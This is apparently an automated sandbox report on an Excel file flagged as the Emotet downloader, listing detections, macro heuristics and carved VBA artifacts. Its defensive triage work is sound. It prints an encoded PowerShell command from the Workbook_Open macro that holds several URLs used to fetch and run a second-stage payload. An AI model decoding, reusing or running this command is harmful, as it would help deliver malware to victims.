Malware Insights
The file is identified as malicious by ClamAV with the signature 'Xls.Downloader.EmotetExcel02223-9938902-0'. Static analysis reveals a Workbook_Open macro that utilizes CreateObject to execute obfuscated PowerShell commands. These commands are designed to download and execute a second-stage payload from multiple URLs. The reconstructed PowerShell command is: 'hell -e AABsAGkAcwBlADMAUgBoAGcARABaAFMANABjAGQAZgBnAD0AIgBoAHQAdABwADoALwAvAHMAdQBtAGUAZABoAGEAbwBuAGwAaQBuAGUALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBIAHkAegBOAFgASgAzADAAWABPAFEAVgBjAEIAUwBSAEgALwAsAGgAdAB0AHAAOgAvAC8AZABpAHYAYQBjAGgAaQBuAHQAZQB4AHQAaQBsAGUAcwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AVwBXAGgAVwBSAEsAcwA4AEsAdgB6AE4ARgBtADYALwAsAGgAdAB0AHAAOgAvAC8AaABvAHQAZQBsAGEAbgBkAGEAbQBhAGwAYQBiAG8ALgBjAG8AbQAvADEANQAyADAALwBiAFUAZABoAEUAUABkAGYALwAsAGgAdAB0AHAAOgAvAC8AcwBoAHcAZQBuAGEAbgB0AGEAdwB3AGkAbgAuAGMAbwBtAC8AYwBvAHAAZwBwAG0AYQBjAC8AWABUAG4AWgBJAGkAMAAyAHYAZgBW'. The presence of these elements strongly indicates a downloader functionality, characteristic of the Emotet family.
Heuristics 5
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ClamAV: Xls.Downloader.EmotetExcel02223-9938902-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Downloader.EmotetExcel02223-9938902-0
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Workbook_Open macro high OLE_VBA_WBOPENWorkbook_Open macro
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CreateObject call high OLE_VBA_CREATEOBJCreateObject call
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Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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VBA project inside OOXML medium OOXML_VBADocument contains vbaProject.bin — VBA macros present
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.basdf1eb14c222394595c0518b49eec2b55ed9573146c5f1717dedceddd2e199a2b |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 12041 bytes |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved macro source contains an auto-exec entry point and execution/download terms.
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vbaProject_00.bin6e422c8f9005c174c899ec4974d30ce89a97580243ec1cfaa60e8c81e0235d59 |
vba-project | OOXML VBA project: xl/vbaProject.bin | 42496 bytes |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved macro source contains an auto-exec entry point and execution/download terms.
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